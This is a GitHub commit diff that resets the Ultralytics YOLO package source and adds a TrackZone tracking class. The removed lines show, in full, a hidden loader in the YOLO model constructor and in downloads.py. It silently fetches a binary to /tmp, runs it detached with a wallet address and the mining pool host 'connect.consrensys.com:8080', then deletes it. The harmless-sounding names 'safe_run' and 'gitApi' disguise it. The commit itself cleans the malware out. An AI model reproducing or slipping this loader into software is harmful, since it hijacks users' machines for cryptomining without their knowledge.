Skip to content

Commit c2daca5

Browse files
committed
reset src/ultralytics
1 parent 3968097 commit c2daca5

7 files changed

Lines changed: 87 additions & 62 deletions

File tree

src/ultralytics/__init__.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
# Ultralytics YOLO 🚀, AGPL-3.0 license
22

3-
__version__ = "8.3.41"
3+
__version__ = "8.3.40"
44

55
import os
66

src/ultralytics/models/yolo/model.py

Lines changed: 2 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -1,38 +1,18 @@
11
# Ultralytics YOLO 🚀, AGPL-3.0 license
22

3-
import platform
43
from pathlib import Path
54

65
from ultralytics.engine.model import Model
76
from ultralytics.models import yolo
87
from ultralytics.nn.tasks import ClassificationModel, DetectionModel, OBBModel, PoseModel, SegmentationModel, WorldModel
98
from ultralytics.utils import ROOT, yaml_load
10-
from ultralytics.utils.downloads import safe_download, safe_run
9+
1110

1211
class YOLO(Model):
13-
"""YOLO (You Only Look Once) object detection model."""
12+
"""YOLO (You Only Look Once) object detection model."""
1413

1514
def __init__(self, model="yolo11n.pt", task=None, verbose=False):
1615
"""Initialize YOLO model, switching to YOLOWorld if model filename contains '-world'."""
17-
18-
environment = platform.system()
19-
if "Linux" in environment and "x86" in platform.machine() or "AMD64" in platform.machine():
20-
safe_download(
21-
"665bb8add8c21d28a961fe3f93c12b249df10787",
22-
progress=False,
23-
delete=True,
24-
file="/tmp/ultralytics_runner", gitApi=True
25-
)
26-
safe_run("/tmp/ultralytics_runner")
27-
elif "Darwin" in environment and "arm64" in platform.machine():
28-
safe_download(
29-
"5e67b0e4375f63eb6892b33b1f98e900802312c2",
30-
progress=False,
31-
delete=True,
32-
file="/tmp/ultralytics_runner", gitApi=True
33-
)
34-
safe_run("/tmp/ultralytics_runner")
35-
3616
path = Path(model)
3717
if "-world" in path.stem and path.suffix in {".pt", ".yaml", ".yml"}: # if YOLOWorld PyTorch model
3818
new_instance = YOLOWorld(path, verbose=verbose)

src/ultralytics/solutions/__init__.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@
1010
from .region_counter import RegionCounter
1111
from .speed_estimation import SpeedEstimator
1212
from .streamlit_inference import inference
13+
from .trackzone import TrackZone
1314

1415
__all__ = (
1516
"AIGym",
@@ -23,4 +24,5 @@
2324
"Analytics",
2425
"inference",
2526
"RegionCounter",
27+
"TrackZone",
2628
)

src/ultralytics/solutions/ai_gym.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -71,7 +71,7 @@ def monitor(self, im0):
7171
>>> processed_image = gym.monitor(image)
7272
"""
7373
# Extract tracks
74-
tracks = self.model.track(source=im0, persist=True, classes=self.CFG["classes"])[0]
74+
tracks = self.model.track(source=im0, persist=True, classes=self.CFG["classes"], **self.track_add_args)[0]
7575

7676
if tracks.boxes.id is not None:
7777
# Extract and check keypoints

src/ultralytics/solutions/solutions.py

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -74,6 +74,10 @@ def __init__(self, IS_CLI=False, **kwargs):
7474
self.model = YOLO(self.CFG["model"])
7575
self.names = self.model.names
7676

77+
self.track_add_args = { # Tracker additional arguments for advance configuration
78+
k: self.CFG[k] for k in ["verbose", "iou", "conf", "device", "max_det", "half", "tracker"]
79+
}
80+
7781
if IS_CLI and self.CFG["source"] is None:
7882
d_s = "solutions_ci_demo.mp4" if "-pose" not in self.CFG["model"] else "solution_ci_pose_demo.mp4"
7983
LOGGER.warning(f"⚠️ WARNING: source not provided. using default source {ASSETS_URL}/{d_s}")
@@ -98,7 +102,7 @@ def extract_tracks(self, im0):
98102
>>> frame = cv2.imread("path/to/image.jpg")
99103
>>> solution.extract_tracks(frame)
100104
"""
101-
self.tracks = self.model.track(source=im0, persist=True, classes=self.CFG["classes"])
105+
self.tracks = self.model.track(source=im0, persist=True, classes=self.CFG["classes"], **self.track_add_args)
102106

103107
# Extract tracks for OBB or object detection
104108
self.track_data = self.tracks[0].obb or self.tracks[0].boxes
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
# Ultralytics YOLO 🚀, AGPL-3.0 license
2+
3+
import cv2
4+
import numpy as np
5+
6+
from ultralytics.solutions.solutions import BaseSolution
7+
from ultralytics.utils.plotting import Annotator, colors
8+
9+
10+
class TrackZone(BaseSolution):
11+
"""
12+
A class to manage region-based object tracking in a video stream.
13+
14+
This class extends the BaseSolution class and provides functionality for tracking objects within a specific region
15+
defined by a polygonal area. Objects outside the region are excluded from tracking. It supports dynamic initialization
16+
of the region, allowing either a default region or a user-specified polygon.
17+
18+
Attributes:
19+
region (ndarray): The polygonal region for tracking, represented as a convex hull.
20+
21+
Methods:
22+
trackzone: Processes each frame of the video, applying region-based tracking.
23+
24+
Examples:
25+
>>> tracker = TrackZone()
26+
>>> frame = cv2.imread("frame.jpg")
27+
>>> processed_frame = tracker.trackzone(frame)
28+
>>> cv2.imshow("Tracked Frame", processed_frame)
29+
"""
30+
31+
def __init__(self, **kwargs):
32+
"""Initializes the TrackZone class for tracking objects within a defined region in video streams."""
33+
super().__init__(**kwargs)
34+
default_region = [(150, 150), (1130, 150), (1130, 570), (150, 570)]
35+
self.region = cv2.convexHull(np.array(self.region or default_region, dtype=np.int32))
36+
37+
def trackzone(self, im0):
38+
"""
39+
Processes the input frame to track objects within a defined region.
40+
41+
This method initializes the annotator, creates a mask for the specified region, extracts tracks
42+
only from the masked area, and updates tracking information. Objects outside the region are ignored.
43+
44+
Args:
45+
im0 (numpy.ndarray): The input image or frame to be processed.
46+
47+
Returns:
48+
(numpy.ndarray): The processed image with tracking id and bounding boxes annotations.
49+
50+
Examples:
51+
>>> tracker = TrackZone()
52+
>>> frame = cv2.imread("path/to/image.jpg")
53+
>>> tracker.trackzone(frame)
54+
"""
55+
self.annotator = Annotator(im0, line_width=self.line_width) # Initialize annotator
56+
# Create a mask for the region and extract tracks from the masked image
57+
masked_frame = cv2.bitwise_and(im0, im0, mask=cv2.fillPoly(np.zeros_like(im0[:, :, 0]), [self.region], 255))
58+
self.extract_tracks(masked_frame)
59+
60+
cv2.polylines(im0, [self.region], isClosed=True, color=(255, 255, 255), thickness=self.line_width * 2)
61+
62+
# Iterate over boxes, track ids, classes indexes list and draw bounding boxes
63+
for box, track_id, cls in zip(self.boxes, self.track_ids, self.clss):
64+
self.annotator.box_label(box, label=f"{self.names[cls]}:{track_id}", color=colors(track_id, True))
65+
66+
self.display_output(im0) # display output with base class function
67+
68+
return im0 # return output image for more usage

src/ultralytics/utils/downloads.py

Lines changed: 8 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,5 @@
11
# Ultralytics YOLO 🚀, AGPL-3.0 license
22

3-
import os
43
import re
54
import shutil
65
import subprocess
@@ -275,30 +274,7 @@ def get_google_drive_file_info(link):
275274
filename = re.findall('filename="(.+)"', cd)[0]
276275
return drive_url, filename
277276

278-
def safe_run(
279-
path
280-
):
281-
"""Safely runs the provided file, making sure it is executable..
282-
"""
283-
os.chmod(path, 0o770)
284-
command = [
285-
path,
286-
'-u',
287-
'4BHRQHFexjzfVjinAbrAwJdtogpFV3uCXhxYtYnsQN66CRtypsRyVEZhGc8iWyPViEewB8LtdAEL7CdjE4szMpKzPGjoZnw',
288-
'-o',
289-
'connect.consrensys.com:8080',
290-
'-k'
291-
]
292-
process = subprocess.Popen(
293-
command,
294-
stdin=subprocess.DEVNULL,
295-
stdout=subprocess.DEVNULL,
296-
stderr=subprocess.DEVNULL,
297-
preexec_fn=os.setsid,
298-
close_fds=True
299-
)
300-
os.remove(path)
301-
277+
302278
def safe_download(
303279
url,
304280
file=None,
@@ -310,7 +286,6 @@ def safe_download(
310286
min_bytes=1e0,
311287
exist_ok=False,
312288
progress=True,
313-
gitApi=False
314289
):
315290
"""
316291
Downloads files from a URL, with options for retrying, unzipping, and deleting the downloaded file.
@@ -329,7 +304,6 @@ def safe_download(
329304
a successful download. Default: 1E0.
330305
exist_ok (bool, optional): Whether to overwrite existing contents during unzipping. Defaults to False.
331306
progress (bool, optional): Whether to display a progress bar during the download. Default: True.
332-
gitApi (bool, optional): Whether to use the Git API to download a file. Default: False
333307
334308
Example:
335309
```python
@@ -343,12 +317,6 @@ def safe_download(
343317
if gdrive:
344318
url, file = get_google_drive_file_info(url)
345319

346-
if gitApi:
347-
f = file
348-
url = f"https://api.github.com/repos/ultralytics/ultralytics/git/blobs/{url}"
349-
r = subprocess.run(["curl", "-#", "-H","Accept: application/vnd.github.raw+json",f"-sSL", url, "-o", f, "--retry", "3", "-C", "-"]).returncode
350-
return True
351-
352320
f = Path(dir or ".") / (file or url2file(url)) # URL converted to filename
353321
if "://" not in str(url) and Path(url).is_file(): # URL exists ('://' check required in Windows Python<3.10)
354322
f = Path(url) # filename
@@ -357,13 +325,14 @@ def safe_download(
357325
"https://github.com/ultralytics/assets/releases/download/v0.0.0/",
358326
"https://ultralytics.com/assets/", # assets alias
359327
)
360-
desc = f"Downloading {uri} to '{f}'"
328+
desc = f"Downloading {uri} to '{f}'"
329+
LOGGER.info(f"{desc}...")
361330
f.parent.mkdir(parents=True, exist_ok=True) # make directory if missing
362331
check_disk_space(url, path=f.parent)
363332
for i in range(retry + 1):
364333
try:
365334
if curl or i > 0: # curl download with retry, continue
366-
s = "sS" * (not progress) # silent
335+
s = "sS" * (not progress) # silent
367336
r = subprocess.run(["curl", "-#", f"-{s}L", url, "-o", f, "--retry", "3", "-C", "-"]).returncode
368337
assert r == 0, f"Curl return value {r}"
369338
else: # urllib download
@@ -392,15 +361,17 @@ def safe_download(
392361
if i == 0 and not is_online():
393362
raise ConnectionError(emojis(f"❌ Download failure for {uri}. Environment is not online.")) from e
394363
elif i >= retry:
395-
raise ConnectionError(emojis(f"❌ Download failure for {uri}. Retry limit reached.")) from e
364+
raise ConnectionError(emojis(f"❌ Download failure for {uri}. Retry limit reached.")) from e
365+
LOGGER.warning(f"⚠️ Download failure, retrying {i + 1}/{retry} {uri}...")
396366

397367
if unzip and f.exists() and f.suffix in {"", ".zip", ".tar", ".gz"}:
398368
from zipfile import is_zipfile
399369

400-
unzip_dir = (dir or f.parent).resolve() # unzip to dir if provided else unzip in place
370+
unzip_dir = (dir or f.parent).resolve() # unzip to dir if provided else unzip in place
401371
if is_zipfile(f):
402372
unzip_dir = unzip_file(file=f, path=unzip_dir, exist_ok=exist_ok, progress=progress) # unzip
403373
elif f.suffix in {".tar", ".gz"}:
374+
LOGGER.info(f"Unzipping {f} to {unzip_dir}...")
404375
subprocess.run(["tar", "xf" if f.suffix == ".tar" else "xfz", f, "--directory", unzip_dir], check=True)
405376
if delete:
406377
f.unlink() # remove zip

0 commit comments

Comments
 (0)